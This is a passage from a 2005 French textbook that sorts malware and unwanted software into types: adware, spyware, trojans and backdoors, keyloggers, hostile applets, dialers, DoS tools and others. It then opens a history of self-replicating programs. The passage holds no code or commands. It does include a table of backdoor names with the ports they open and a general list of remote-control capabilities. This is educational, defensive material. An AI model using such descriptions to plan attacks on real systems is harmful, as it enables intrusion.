d’arrêter un ordinateur à distance (Remote Shutdown), de rechercher ou de capturer des mots de passe (DialPWD), de modifier la page d’accueil d’Internet Explorer (Adshow), d’installer une application en tant que service NT (FireDaemon), d’analyser le trafic réseau (Dsnif), de contrôler un ordinateur à distance (NetBusPro), de composer des numéros téléphoniques à forte facturation (PornDial), d’intercepter les frappes clavier (Silent Watch), de contrôler l’activité d’un ordinateur (WinGuardian), d’envoyer massivement des e-mails (Wyrvis from Wyrvious’s Invis), déprotéger des logiciels sous licence (Crack-Generic), de contourner les pare feux ou les anti-virus (Firehole, Piorio), de faire des envois massifs de cartes de vœux électroniques (Friend Greeting), de trafiquer en mode tunnellisation (Htthost), d’effacer des données du BIOS (KillCMOS), de reconstruire des exécutables (Pereb PE-rebuilder),
PAGET_Ch01 Page 21 Lundi, 11. avril 2005 5:25 17
21
1.5 Les infections informatiques
• de rechercher des ports TCP/IP vulnérables (Pest-PortScan), • de proposer des tests de personnalité (PersonalityTest), • de détruire des données en cas d’utilisation non autorisée de logiciel (FireAnvil). Parfois d’utilisation légitime, certains anti-virus tel que McAfee VirusScan sont capables d’affiner leur détection en fonction de critères tels que le nom de fichier ; une alerte n’étant émise qu’en cas d’utilisation de nom d’emprunt. D’autres programmes commerciaux indésirables se rencontrent fréquemment, il s’agit des adwares et des spywares, ils méritent toute notre attention.
Adwares et Spywares D’un point de vue étymologique, les mots adware (Advertising Software) et spyware (Spying Software) sont des acronymes anglais qui désignent deux classes particulières de logiciels. À ces 2 classes se mêlent parfois d’autres groupes d’outils d’origines diverses : • • • •
Adware Spyware BHO Hijacker
= = = =
Ads + ware (logiciel publicitaire). Spy + ware (logiciel espion). Browser Helper Object. Outils de re-direction.
Citons à titre d’exemple :
© Dunod – La photocopie non autorisée est un délit
• • • •
Adware-Cydoor (Adware). Spyware-eBlaster (Spyware). Adware-NavHelper (BHO). Galorion (Hijacker).
Figure 1.14 — Nombre cumulé d’adwares et de spywares (source PestPatrol1) 1. Pest Patrol Graph Generator : http://research.pestpatrol.com/graphs/form.jsp.
PAGET_Ch01 Page 22 Lundi, 11. avril 2005 5:25 17
22
Chapitre 1. Les multiples aspects de la malveillance
Tous ces programmes sont des logiciels provenant de sources commerciales connues. Ils ne peuvent donc pas être classifiés comme malveillance. Ce sont cependant des programmes que de nombreux utilisateurs ne souhaitent pas conserver dans leur ordinateur, surtout lorsqu’ils ont été installés d’une manière hasardeuse. C’est pour cette raison que de nombreux anti-virus les détectent dans la mesure ou l’utilisateur en précise le souhait.
Adware Dénommé pubiciel en français, un adware est un programme qui dirige des publicités ciblées vers l’ordinateur qui le contient. Il observe les habitudes de navigation de l’internaute afin de lui fournir des offres adaptées à son profil. Cette tâche est généralement mise en œuvre après un consentement initial. En effet, un adware n’est pas un programme auto reproducteur ; c’est l’utilisateur qui donne son accord au travers d’une fenêtre de dialogue en répondant positivement à une question dont il n’a pas toujours pris le temps de lire l’intégralité du contenu. Avec la version gratuite v2.6.3 de Kazaa vous recevrez de la publicité envoyée par Cydoor et le réseau GAIN comme le laisse sous-entendre l’information « Ad Supported ».
Figure 1.15 — Adware, l’exemple de Kazaa1
Certains petits utilitaires gratuits (freeware ou shareware) pour lequel il n’est pas demandé de droit d’usage peuvent s’apparenter à des adwares. Leurs auteurs en conservent la propriété intellectuelle (copyright) et perçoivent une compensation financière par le biais d’un affichage de bannières publicitaires périodiquement renouvelées et affichées au cour de l’utilisation. 20/202 en est un exemple. Il permet de visualiser des images ayant toutes sortes de formats. Il permet aussi de faire des captures d’écran, d’ajouter du texte sur des images, de faire quelques manipulations sur des images, etc. Notons enfin qu’un adware ne collecte pas d’information personnelle et qu’il se présente souvent sous la forme de fichiers binaires (.exe ou .dll). 1. Kazaa Media Desktop : http://www.kazaa.com/fr/. 2. HotFreeware : http://www.hotfreeware.com/2020/2020.htm.
PAGET_Ch01 Page 23 Lundi, 11. avril 2005 5:25 17
23
1.5 Les infections informatiques
BHO – Browser Helper Objects Un BHO est un programme additionnel à Internet Explorer. Il s’intègre au navigateur en permettant à un tiers de le personnaliser ou d’y ajouter des fonctionnalités complémentaires. Sa procédure d’installation, volontaire ou non, utilise la technologie ActiveX. Il se présente généralement comme une barre de boutons (en anglais, toolbar) ajoutée au menu standard. Le BHO est toujours censé apporter une fonctionnalité ou un confort supplémentaire.
© Dunod – La photocopie non autorisée est un délit
Figure 1.16 — Exemple de BHO
Hyjackers Ce sont des routines altérant le comportement et/ou les réglages du navigateur de l’internaute. Basées sur des contrôles ActiveX ou des langages de script tels que JavaScript, les modifications induites sont généralement anodines, mais agaçantes si elles ne sont pas souhaitées. Citons par exemple la modification de la page de démarrage ou l’ajout de nouvelles entrées dans la liste de favoris. Spyware L’une des premières définitions du spyware a été donnée par Steve Gibson1. Il nous indique qu’un spyware est un logiciel qui utilise en tâche de fond la connexion Internet d’un utilisateur sans qu’il en ait connaissance ou sans sa permission explicite.
1. http://grc.com/optout.htm.
PAGET_Ch01 Page 24 Lundi, 11. avril 2005 5:25 17
24
Chapitre 1. Les multiples aspects de la malveillance
Figure 1.17 — Spyware, la définition de Steve Gibson
Cette définition n’est plus assez restrictive. Elle tend à inclure, outre l’ensemble des éléments décrits ci-dessus, certains vers ou chevaux de Troie. Aujourd’hui un spyware se défini comme un programme conçu dans le but de collecter des données personnelles et de les envoyer à son concepteur ou à un tiers via Internet sans avoir obtenu au préalable une autorisation explicite et éclairée desdits utilisateurs. Les spywares ne doivent donc pas être confondus avec les adwares, les BHO ou les outils de redirection. Bien que parfois déplaisants, ces derniers ne transmettent aucune donnée personnelle. Les spywares peuvent être aussi à tord confondus avec les cookies et les web-bugs qui ne sont pas des programmes mais des fichiers de données ou des micro images dont la mise en œuvre peut être néanmoins détournée et parfois porter atteinte à la vie privée. Il existe 2 types de spywares se différenciant selon l’objectif visé : • Le commerce ; ces programmes se rapprochent des adwares. Ils ne se contentent pas de rediriger des publicités ciblées mais transmettent des informations nominatives et personnelles pour poursuivre leur approche marketing par email, courrier postal ou téléphone. Les sociétés collectrices peuvent ensuite monnayer les fichiers constitués. • Le renseignement ; il s’agit de logiciels espions capable d’enregistrer secrètement et de retransmettre les opérations effectuées sur l’ordinateur sans que son utilisateur en ait la connaissance. Ils sont souvent proposés pour des buts louables tels que le contrôle parental et détournés de leur but premier.
Caractéristiques majeures Dans le tableau 1.3, les BHO et les outils de redirection sont considérés comme des adwares. Si certains d’entre eux contiennent des fonctionnalités de capture et d’envoi d’informations personnelles, ce sont des spywares.
PAGET_Ch01 Page 25 Lundi, 11. avril 2005 5:25 17
25
1.5 Les infections informatiques
Tableau 1.3 — Comparaison entre adware et spyware Adware
Spyware
Source commerciale connue
Oui
Oui
Profite de la connexion Internet de l’utilisateur
Oui
Oui
Consomme de la bande passante Internet de manière invisible
Oui
Oui
Observe les habitudes de navigation de l’internaute afin de lui fournir des bannières publicitaires adaptées à son profil
Oui
Oui, mais pas uniquement
Modifie ou ajoute des fonctionnalités au navigateur
Parfois
Parfois
Modifie le comportement et les réglages du navigateur
Parfois
Parfois
Télécharge et installe des programmes et autres objets de manière arbitraire
Oui
Oui
En cas de transfert de données, la préservation de l’anonymat est annoncée (et respectée). Si des données personnelles sont transmises l’utilisateur en a été informé (EULA – End user Licence Agreements)
Oui
Non
Collecte et transmet des données statistiques (habitudes de navigation) et/ou personnelles à un site distant sans que la victime en ait connaissance et sans son autorisation explicite (objectif commercial). Aucune clause de confidentialité n’est fournie par défaut
Non
Oui, c’est le but !
Se conduit comme outil d’espionnage en interceptant la globalité de l’activité effectué sur la machine de la victime (objectif de renseignement)
Non
Parfois
© Dunod – La photocopie non autorisée est un délit
Quelques autres caractéristiques sont fréquemment rencontrées : • • • •
Absence de logiciel de désinstallation. Impossibilité d’accéder à une quelconque panneau de configuration. Impossibilité de désactiver temporairement ou définitivement le produit. Appropriation du carnet d’adresse de messagerie pour un envoi en masse de messages.
Bombes logiques Une bombe logique est un programme contenant une fonction malveillante cachée généralement associée à un déclenchement différé. Cette fonction, souvent destructrice, a été rajoutée de façon illicite à un programme hôte. Il conservera son apparence anodine et son fonctionnement correct jusqu’au moment choisi par le programmeur malveillant. Le déclenchement qui s’effectue à un moment déterminé peut exploiter la date du système. Il peut aussi utiliser un critère plus pernicieux tel que la disparition d’un enregistrement dans une base de donnée.
PAGET_Ch01 Page 26 Lundi, 11. avril 2005 5:25 17
26
Chapitre 1. Les multiples aspects de la malveillance
Il s’agit généralement d’une attaque ciblée vers une entreprise dans le but de la paralyser au moins momentanément. Ces attaques sont peu nombreuses, mais leur impact est très élevé. Elles restent souvent inconnues du public. Citons à titre d’exemple le chantage d’un ex-employé d’une société de service visant une application de trésorerie utilisée par une centaine de clients. La direction n’ayant pas cédé, le criminel a effectivement déclenché le processus. Le total des pertes fut estimé à l’époque à environ 800 000 Euros (5MF)1.
Chevaux de Troie et portes dérobées La définition première d’un Cheval de Troie (trojan en anglais) est celle d’un programme qui comporte une fonctionnalité cachée connue de l’attaquant seul. Le mode opératoire n’a pas changé depuis la prise de Troie par les Grecs : il s’agit de contourner les contrôles de sécurité en vigueur pour pénétrer l’élément ciblé. On utilise le terme de cheval de Troie lorsque la fonction cachée et rajoutée au sein d’un programme légitime quelconque. Le terme porte dérobée (backdoor en anglais) s’applique à tout programme malveillant spécifiquement dédié à cet effet. Une fois le programme installé, la machine peut être prise en main à distance avec un outil d’attaque réseau compatible. C’est généralement au travers d’un port TCP/IP maintenu ouvert que le logiciel client distant pourra effectuer certaines actions sur le poste local ou a été préalablement exécuté le serveur (le cheval de Troie ou la backdoor). Le tableau 1.4 nous montre quelques exemples de portes dérobées. Tableau 1.4 — Exemples de portes dérobées NOM DU SERVEUR
ALIAS
PORT OUVERT
Backdoor-AML
Jeem
6079/5262/4668
Backdoor-AMH
IRC.Mapsy
6754
Backdoor-AJZ
Expjan
2090
Backdoor-AGS
Assasin
5695
Backdoor-AJY
Miffice
1533
Backdoor-AIT
IRTTH
15000
Backdoor-AJM
10
Backdoor-AIK
1160
Backdoor-AJB
1881
Backdoor-BBI
Port UDP aléatoire
1. LAMERE Jean Marc & TOURLY Jacques, La sécurité des petits et moyens systèmes informatiques, DUNOD informatique, ISBN 2-04-018721-9, 1988.
PAGET_Ch01 Page 27 Lundi, 11. avril 2005 5:25 17
1.5 Les infections informatiques
27
Outils de capture d’information Au début d’Internet, le langage de programmation qui permettait de créer des pages web était HTML. Les possibilités d’interaction étaient alors très limitées. L’utilisateur ne pouvait pas intervenir sur le Web, le Web ne pouvait pas intervenir sur la machine locale. Pour outrepasser ces limitations, Microsoft, avec ses composants Active X, et Sun, avec Java proposèrent des solutions pour rendre le Web plus attrayant. L’intérêt d’une certaine interactivité entre l’utilisateur et le document qu’il visualise n’a pas échappé non plus aux créateurs de programmes malveillants. Ces programmes, applets Java et les objets Active-X, sont habituellement de petite taille et prennent le nom de codes mobiles hostiles. Il agissent de manière autonome. Intelligents, ils s’adaptent d’eux-mêmes à leurs environnements. Certains d’entre eux ont la capacité d’apprendre en utilisant leurs propres expériences. Dans leurs domaines particuliers, ils possèdent un certain niveau d’expertise. Des programmes exécutables compilés sont aussi dédiés à la collecte d’informations. Ce sont les plus répandus, il s’agit des renifleurs de clavier et de mot de passe. Les éléments que nous allons maintenant lister ne doivent pas être confondus avec les spywares que nous avons détaillés précédemment. Ces premiers avaient une origine commerciale connue, ceux-ci ont été créés par des pirates dans un pur but malveillant.
Les renifleurs de mot de passe Ils sont également connus sous l’appellation anglaise de PassWord Stealer (PWS). Ils s’activent lors d’une action spécifique, tel que l’apparition d’une fenêtre dont l’intitulé contient une partie d’un mot clé (LOGon, PASsword). Sur une courte période, les données saisies au clavier sont alors enregistrées, stockées ou envoyées vers un site distant. PWS-Hooker.dll est l’un d’entre eux.
© Dunod – La photocopie non autorisée est un délit
Certains outils sont spécialisés dans l’analyse des caches mémoire et des fichiers système pour y rechercher ce type d’information. Selon la société Panda1, Mafia.a en est un exemple. Il cible les ordinateurs du type Windows .NET Server/XP/2000/NT.
Les renifleurs de clavier Prenant aussi le nom de keylogger, leur champs d’activité dépasse la collecte précise d’un mot de passe. Selon des critères prédéfinis, ils sont capables d’enregistrer toutes les frappes claviers et éléments déclenchés. C’est tout le travail réalisé par l’utilisateur de la machine qui peut ainsi être enregistré. Ces logiciels s’activent et se remettent en sommeil à la demande et à distance. Citons comme exemple, KeyLogSSKC : il est capable de capturer les frappes clavier pour ensuite expédier le fichier de capture par e-mail.
1. Encyclopédie Panda – Mafia.a : http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?idvirus=41263.
PAGET_Ch01 Page 28 Lundi, 11. avril 2005 5:25 17
28
Chapitre 1. Les multiples aspects de la malveillance
Figure 1.18 — Pré-configuration d’un renifleur de clavier
Applets Java hostiles Les applets Java sont généralement téléchargés pour accomplir des tâches comme l’animation de composants graphiques, la maintenance d’informations, le calcul de certains résultats avant retransmission de ceux-ci vers le serveur dont l’applet est originaire. Lorsque un navigateur détecte l’arrivée de l’un d’entre eux sur la machine locale, il l’envoie automatiquement vers son processeur virtuel appelé Java Virtual Machine (JVM). Celui-ci interprétera le code compilé reçu et le rendra exécutable. Seul le runtime JVM est nécessaire à la bonne exécution du programme. Le code y est enfermé dans un espace mémoire propre dénommé sandbox. Tout accès aux ressources critiques lui est normalement interdit. Les plus célèbres applets Java hostiles furent créés en 1996 par Marc D. LaDue1. Les navigateurs actuels y sont insensibles. Aujourd’hui, c’est au travers de brèches de sécurité que se manifestent ces applets hostiles. Quatre types d’attaques sont toujours possibles : • • • •
Modification du système ou des données. Atteinte à la personne (envoie de mails subversifs). Saturation ou détournement des ressources système. Perturbations diverses (messages, sons…).
1. A Collection of Increasingly Hostile Applets : http://www.cigital.com/hostile-applets/.
PAGET_Ch01 Page 29 Lundi, 11. avril 2005 5:25 17
1.5 Les infections informatiques
29
Parmi ces vulnérabilités, citons celles qui pourraient permettre : • d’exécuter le code de son choix sur une machine via un mail au format HTML ou une page Web (MS99-031, MS01-0381). Le virus VBS/XPMsg@MM utilise cette vulnérabilité en se propageant via Microsoft Outlook. Il faut différencier cette vulnérabilité de celle utilisée par de nombreux autres virus tels que JS/ Kak@M (MS99-032). Alors que ce dernier crée des fichiers sur le disque dur pour ensuite pouvoir se propager, VBS/XPMsg@MM ne crée aucun fichier. • de lire des fichiers de l’ordinateur d’une personne visitant le site Web ou de lire du contenu Web provenant d’un réseau informatique privé si ce site est visité par un ordinateur depuis ce même Intranet (MS00-011, MS00-081).
Objets Active-X hostiles Les composants Active-X peuvent jouer le même rôle que les applets. Ils ne fonctionnent cependant que sur Microsoft Internet Explorer (ou Netscape si un plug-in spécifique est installé). À la différence des applets qui doivent être écrit en Java, un objet Active-X peut être développé en n’importe quel langage (C, C++, Visual Basic ou Java). Il s’exécute sur le poste client de l’utilisateur et peut tout y faire. Il n’offre comme sécurité que la confiance que vous avez en son développeur. C’est insuffisant et c’est pour cette raison qu’un processus de signature a été mis en place. Il permet de connaître la société émettrice de l’objet avant d’en accepter ou non l’exécution. Parmi les premiers objets Active-X hostiles, citons :
© Dunod – La photocopie non autorisée est un délit
• AX/Exploder (1996) : il stoppe Windows 95 et éteint la machine. • AX/Runner : il exécute une copie de l’interpréteur de commande (command.com). Les objets Active-X hostiles sont directement liés à des brèches de sécurité qui ont fait l’objet de correctifs. Parmi ces vulnérabilités, citons celles qui pourraient permettre : • d’exécuter un fichier distant (MS99-007), • de faire opérer par une page Web des actions non autorisées sur l’ordinateur qui la charge (MS99-032). Ce peut être par exemple l’implantation d’une porte dérobée telle que BackDoor-JW apparue en décembre 2000. Elle était distribuée depuis un site de jeux. De nombreux virus utilisent également cette vulnérabilité comme nous aurons l’occasion de le voir dans les chapitres suivants.
1. L’ensemble des Bulletins de Sécurité Microsoft est disponible à partir des pages : http://www.microsoft.com/technet/security/current.aspx (site US), http://www.microsoft.com/france/securite/bulletins_securite/default.asp (site FR).
PAGET_Ch01 Page 30 Lundi, 11. avril 2005 5:25 17
30
Chapitre 1. Les multiples aspects de la malveillance
• De télécharger un fichier distant dont on connaît le nom et l’emplacement (MS99-011 & MS99-042), • d’inclure un exécutable non sûr dans un courrier électronique et de le faire passer pour une pièce jointe sûre. Par le biais d’une série d’étapes complexes, l’exécutable non sûr serait ensuite exécuté dans certaines conditions, si l’utilisateur ouvrait la pièce jointe (MS99-048), • d’installer des fichiers sur la machine locale et d’en modifier les éléments de sa configuration (MS00-034). C’est ainsi que le virus VBS/Davinia@MM fut diffusé après la simple visualisation d’une page Web.
Outils d’appropriation de ressources Ces programmes sont capables d’utiliser les ressources de l’ordinateur au dépend de son propriétaire. Ils peuvent induire des pertes financières pour l’attaqué et être source de profit pour l’attaquant.
Les logiciels de connexion téléphoniques furtifs Également connu sous le terme de dialers, leur installation est souvent consécutive à la visite d’un site à caractère pornographique (Porn-Dialer). Certains virus tel que W32/Ultimax.worm véhiculent aussi ces programmes. Installés sur votre ordinateur, il vont chercher à court-circuiter l’appel à votre Fournisseur d’Accès Internet (FAI) pour établir une communication surtaxée au profit du propriétaire du numéro appelé.
Les relais de spam Installés sur la machine à l’insu de son propriétaire, ces mini serveurs permettent l’émission du courrier non sollicité vers leurs victimes potentielles. Cette technique évite aux spammeurs de se faire eux-mêmes détecter et bloquer par un fournisseur d’accès. Aujourd’hui, de nombreux spammers se font aider par des auteurs de virus. Ils infiltrent ainsi des ordinateurs vulnérables et les transforment secrètement en serveur relais SMTP. L’un de ces outils, Proxy-Guzu, est un mini serveur de courrier pilotable à distance. Il permet aux e-marchands indélicats et peu scrupuleux d’envoyer anonymement des millions de courriers publicitaires de manière totalement anonyme.
Outils d’attaque réseau Par abus de langage, ils peuvent être, eux aussi, apparentés aux chevaux de Troie et détectés comme tels par les anti-virus.
PAGET_Ch01 Page 31 Lundi, 11. avril 2005 5:25 17
1.5 Les infections informatiques
31
Dispositifs de prise de main à distance Ces programmes permettent d’obtenir un accès non autorisé sur des équipements qui contiennent un cheval de Troie ou une porte dérobée qui leur est compatible. Il s’agit ici du logiciel client d’une application client/serveur. Deux ordinateurs entrent donc en jeu ; le premier pilote le processus, le second est la cible sur laquelle a été préalablement installé, puis exécuté, le serveur (le cheval de Troie ou la backdoor). Le nombre de ces dispositifs ne cesse d’augmenter. Cette tendance débute en 1998. Cette année là, toute une série d’outils furtifs de prise de main à distance sont également mis à disposition sur Internet. Les plus connus furent Back Orifice et Socket de Troie (ou socket 2.3). Ce furent des précurseurs. Ils ont été aujourd’hui rejoints par de nombreux autres produits. Une telle prise de contrôle à distance est parfois légitime (opération de télémaintenance), mais dans le cas d’un acte de piratage, le propriétaire de la machine cible est inconscient de la menace qui pèse sur lui. Il aura exécuté à son insu le programme serveur qui, une fois installé, sera généralement capable de se lancer automatiquement à chaque nouveau démarrage de la machine. Pour tromper l’imprudent, il lui aura été présenté comme un jeu, un anti-virus ou un utilitaire quelconque. Dans d’autres cas, et comme nous l’avons déjà signalé, c’est un virus qui pourra l’avoir véhiculé.
© Dunod – La photocopie non autorisée est un délit
D’un point de vue pratique, le pirate interroge le réseau généralement au travers d’une adresse IP. Si celle ci correspond à une cible à l’écoute, la connexion s’effectue au travers du port TCP/IP que le serveur maintient ouvert. Une fois sous son contrôle, tout est possible : • Affichage des caractéristiques système de la machine et de son environnement réseau. • Contrôle des processus système. • Accès total a la base de registres. • Listing en clair des mots de passe. • Redémarrage de la machine. • Accès total au disque, exploration des répertoires et visualisation du contenu des fichiers. • Exécution de programmes. • Transfert de fichiers avec possibilité de compression. • Ouverture d’une boite de dialogue. • Surveillance des activités clavier. • Opération multimédia (son, clip vidéo). • Montage et démontage de ressources réseau. • Gestion des ports TCP/IP, résolution des noms de machine et des adresses IP.
PAGET_Ch01 Page 32 Lundi, 11. avril 2005 5:25 17
32
Chapitre 1. Les multiples aspects de la malveillance
Figure 1.19 — Possibilités offertes par NetBus Pro
Les renifleurs de trafic Ils interceptent les données qui transitent sur le réseau. En mode broadcasting, toute donnée qui circule, arrive à l’entrée de toutes les cartes réseau des machines connectées. Seules les données destinées au PC sont lues, les autres sont ignorées. Des logiciels de type sniffer permettent l’interception et l’analyse de ces trames qui devraient rester inexploitées. La plupart de ces outils sont dédiés à la recherche de mots de passe ou d’adresses IP. À titre d’exemple, Sniff-ICQ.WPD permet de découvrir l’adresse IP d’utilisateurs utilisant la messagerie instantanée (ICQ1).
Les outils pour deni de service (DoS) Ces programmes sont conçus pour générer des arrêts de service en exploitant des faiblesses de l’architecture réseau ou des protocoles. Il existe divers types d’attaques : • La saturation par déluge de données (flooding). Envoyées très rapidement et en grand nombre, la machine ciblée ne pourra toutes les traiter, et finira par se déconnecter du réseau. On connaît : – L’envoi de paquets IP de grosse taille (FdoS-SCRAwaked), – L’envoi massif de paquets UDP (FdoS-Udp.102), – L’envoi massif de requêtes ICMP echo-request ou smurfing. Cette attaque consiste à se faire passer pour le serveur cible en falsifiant sa propre adresse IP (spoofing) puis à envoyer les requêtes vers plusieurs classes d’adresses IP autorisées. En retour, les machines répondent au serveur qui se trouve inondé de connexions (DoS-Smurf),
1. En anglais, abréviation de : « I Seek You », ce qui signifie en français : « je te cherche ».
PAGET_Ch01 Page 33 Lundi, 11. avril 2005 5:25 17
1.5 Les infections informatiques
33
– Les outils de plantage Windows (en anglais, nuker). Citons comme exemple ceux permettant l’envoi répétitif de paquets d’informations sur le port 139 d’une machine Windows-95. Ils entraînent l’affichage du trop connu écran bleu qui oblige à redémarrer (FdoS-BloodLust), – L’envoi massif de SMS (SMSFlood), – L’envoi massif de message pour faire saturer un correspondant ICQ (FdoS/ ICQRevenge). • La saturation par demande de connexion. On parle ici de déni de service distribué (DDoS – Distributed Denial of Service), Dans un premier temps, il s’agit de prendre le contrôle de plusieurs machines éloignées, et d’y placer un programme client (souvent appelé zombie). Ensuite, l’un des pirates utilise un programme maître qui contrôle tous les zombies. Il lance une attaque convergente vers une même cible en l’inondant de paquets. Parmi les outils qui permettent de lancer de telles attaques, citons trinoo (ou trin00), TFN (Tribe Flood Network) et Stacheldraht. Une autre technique ne nécessite qu’une seule machine. Elle consiste à falsifier son adresse IP en utilisant des séries d’adresses de machines autorisées et en envoyant des rafales de demandes de connexion pour chacune de ces adresses. • Le débordement de tampon. C’est l’envoi à la machine cible des données d’une taille supérieure à la capacité d’un paquet. Celui-ci alors fractionné pour l’envoi sera rassemblé par la machine cible. C’est alors qu’une faille du protocole IP entraînera le débordement des variables internes (FdoS/Pestil.20).
© Dunod – La photocopie non autorisée est un délit
Les craqueurs de mot de passe La technique consiste à faire de nombreux essais jusqu’à la réussite du processus. Certains outils utilisent des listes de mots prédéfinies et modifiables. Les scanners de port Ils peuvent permettre de repérer les ports TCP/IP ouverts sur une machine pour ensuite mener une attaque plus précise. Ils aident un pirate en lui indiquant comment procéder pour pénétrer une machine (Pest-PortScan).
1.5.2 Les programmes auto reproducteurs La finalité d’un programme auto reproducteur est souvent identique à celle d’un programme simple. C’est le mode de propagation qui change. À sa première exécution, le programme cherche à se reproduire. Il sera donc généralement résident en mémoire et, dans un premier temps, discret. Si elle existe, la fonctionnalité malveillante (payload) s’effectuera dans un délai plus ou moins court et sur un critère quelconque prédéfini (trigger). Pour de nombreux virus la perturbation s’est longtemps limitée à la reproduction et à tous les ennuis qu’elle engendre. Aujourd’hui la fonction malveillante se rapproche de celle de nombreux programmes simples.
PAGET_Ch01 Page 34 Lundi, 11. avril 2005 5:25 17
34
Chapitre 1. Les multiples aspects de la malveillance
Les vers et les virus forment à eux seuls la famille des programmes auto reproducteurs, on les retrouve au premier rang des infections informatiques. En 1988, à l’époque du ver RTM (du nom de son auteur: Robert Tappan Morris), la distinction entre ver et virus est généralement acquise même si elle apparaît parfois des plus fines. Des définitions précises sont établies par les scientifiques de l’époque. • Peter Denning1 explique qu’un ver est un programme capable de fonctionner de manière indépendante. Il se propage de machine en machine au travers des connexions réseau. Un ver ne modifie aucun programme, il peut cependant transporter avec lui des portions de code qui pourront, par la suite, effectuer un telle activité. • John Shoch et Jon Hupp2 précisent qu’un ver n’a pas forcément une connotation malveillante. Il peut accomplir un travail utile dans un réseau. • De son côté, Fred Cohen3 défini un virus comme un programme capable d’infecter d’autres programmes en les modifiant pour y inclure une copie de lui-même qui pourra avoir légèrement évoluée. Le virus ne peut pas fonctionner d’une manière indépendante. L’exécution du programme hôte est nécessaire à son activation. Par analogie avec son cousin biologique, il se multiplie au sein de l’environnement qu’il cible et entraîne corruption, perturbation, et/ou destruction. Tout code malveillant à même de se propager est souvent considéré comme un virus. Selon cette théorie, les vers ne sont alors qu’un sous-ensemble dans la famille des virus. C’est le parti pris que nous prendrons dans ce livre. Il n’existe cependant pas de consensus dans la communauté anti-virale et diverses définitions contradictoires circulent.
1. DENNING Peter (1990), Computers Under Attack. Intruders, worms, and viruses, ACM PRESS. New York. ISBN:0-201-53067-8. 2. SHOCH John. F. & HUPP Jon. A. (1982), The « Worm » Programs – Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 3. COHEN Fred. (1984 et 1987), Computer Viruses – Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. Computers & Security, Volume 6 (1987), pp 22-35.
PAGET_Ch02 Page 35 Lundi, 11. avril 2005 5:25 17
2 Historique – de l’innocence à la tentation criminelle
Alors que pour le grand public, l’apparition des premiers virus remonte aux années 1980, ce chapitre va tout d’abord nous montrer que la mise en œuvre de programmes auto reproducteurs est bien plus ancienne qu’elle n’y parait. Elle remonte à une époque ou les ancêtres des virus ne s’appelaient pas encore des vers. Les mathématiciens et les auteurs de science-fiction laissant la place aux premiers créateurs, tout fut rapidement imaginé ou inventé. Face à eux les concepteurs d’antivirus alignèrent leurs premiers outils. Au fil des ans, l’investigation et le challenge incitèrent les uns et les autres à accentuer leurs recherches. Diverses formes virales auront leur période de gloire puis tomberont en désuétude. À l’approche de l’an 2000, la mainmise des virus sur les outils bureautiques tels que Microsoft Office et leur propagation au travers de la messagerie électronique seront deux thèmes récurrents marquant la fin du siècle. S’aidant d’autres innovations, le micro-ordinateur isolé et la toile Internet deviendront deux terrains d’expériences qui finiront par se rejoindre. Les jeunes irresponsables d’hier commenceront à disparaître laissant la place au professionnalisme. La criminalité à l’ancienne cherchera à s’adapter au monde virtuel.
2.1 JOHN LOUIS VON NEUMANN Le mathématicien John Louis von Neumann est né à Budapest en 1903. Son oeuvre est remarquable par sa grande variété. Il est généralement considéré comme le père de l’automate auto reproducteur, ancêtre théorique des virus informatiques.
PAGET_Ch02 Page 36 Lundi, 11. avril 2005 5:25 17
36
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Von Neumann consacra la dernière partie de sa vie aux problèmes de logique et d’analyse numérique posés par les calculateurs. Il réalisa une étude théorique du problème de la programmation, c’est-à-dire de la transformation d’un problème mathématique en un système codé d’instructions. Ses premiers travaux de logique mathématique le prédisposait à une analyse théorique de la notion de machine. En 1949, dans une série d’articles dont l’un est intitulé Theory and Organization of Complicated Automata, von Neumann met en avant sa théorie relative à la structure formelle des automates et des machines reproductrices. Il les considère capables de se reconstruire à l’identique. Il précise que leur complexité pourrait croître de génération en génération. La théorie de von Neumann se fonde sur les principes de la machine de Turing1 ou le concept de machine à calculer a été étendu à celui de machine à construire. On y retrouve deux éléments centraux : un Ordinateur Universel (Universal Computer) et un Constructeur Universel (Universal Constructor). L’Ordinateur Universel contient un programme qui pilote le comportement du Constructeur Universel. Le Constructeur Universel fabrique, tour à tour, un autre Ordinateur Universel et un autre Constructeur Universel. Lorsque cette tâche est achevée, le nouvel Ordinateur Universel est programmé avec une copie du programme contenu dans l’Ordinateur Universel d’origine et, celui ci est exécuté. L’ensemble des travaux de von Neumann ont été regroupés et complétés dans un ouvrage écrit par l’un de ses étudiants, Arthur Burks, sous le titre Theory of SelfReproducing Automata by John von Neumann2.
2.2 LES PREMIÈRES EXPÉRIENCES En 1962, trois amis informaticiens, Doug McIlroy, Victor Vyssotsky et Robert P. Morris Senior créent un jeu qu’ils intitulent Darwin3. Sur un ordinateur du type PDP-1, dans les laboratoires de Bell Telephone Labs du New Jersey, ils mettent en scène des programmes qui s’affrontent. Leur but est de survivre tout en éliminant leurs adversaires. Les programmes ont la capacité de créer des copies d’eux-mêmes en mémoire. On les appelle des organismes (organisms)4.
1. TURING, Alan Mathison (1936), On Computable Numbers, with an application to the Entscheidungsproblem, publié dans Proceedings of the London Mathematical Society, série 2, volume 42 (1936-7), pp.230-265. Corrections : Ibid, vol 43 (1937) pp. 544-546. Disponible à l’adresse : http://www.abelard.org/turpap2/tp2-ie.asp. 2. BURKS, Arthur W. (1966), Theory of Self-Reproducing Automata by John von Neumann, University of Illinois Press, Urbana, Illinois, 1966. Documents édités, publiés et complétés. Ils sont basés sur la retranscription de lectures délivrées à l’université en décembre 1949 (5ème lecture). Voir pp. 29-87 (première partie) : Theory and Organization of Complicated Automata. 3. The Risks Digest (1990), Contribution intitulée How history gets made, or, myths spread like viruses at the CVIA, Vol9, Issue76 (Lundi 19 mars 1990). 4. SOFTWARE – Practice and Experience (1972), Computer Recreations: 'Darwin'. Vol2, 93-96.
PAGET_Ch02 Page 37 Lundi, 11. avril 2005 5:25 17
2.2 Les premières expériences
37
Même s’il était peu connu du grand public, ce type de jeu fut très populaire. Il sortit réellement de l’ombre en 1984 quand il fut décrit sous le nom de Core War1.
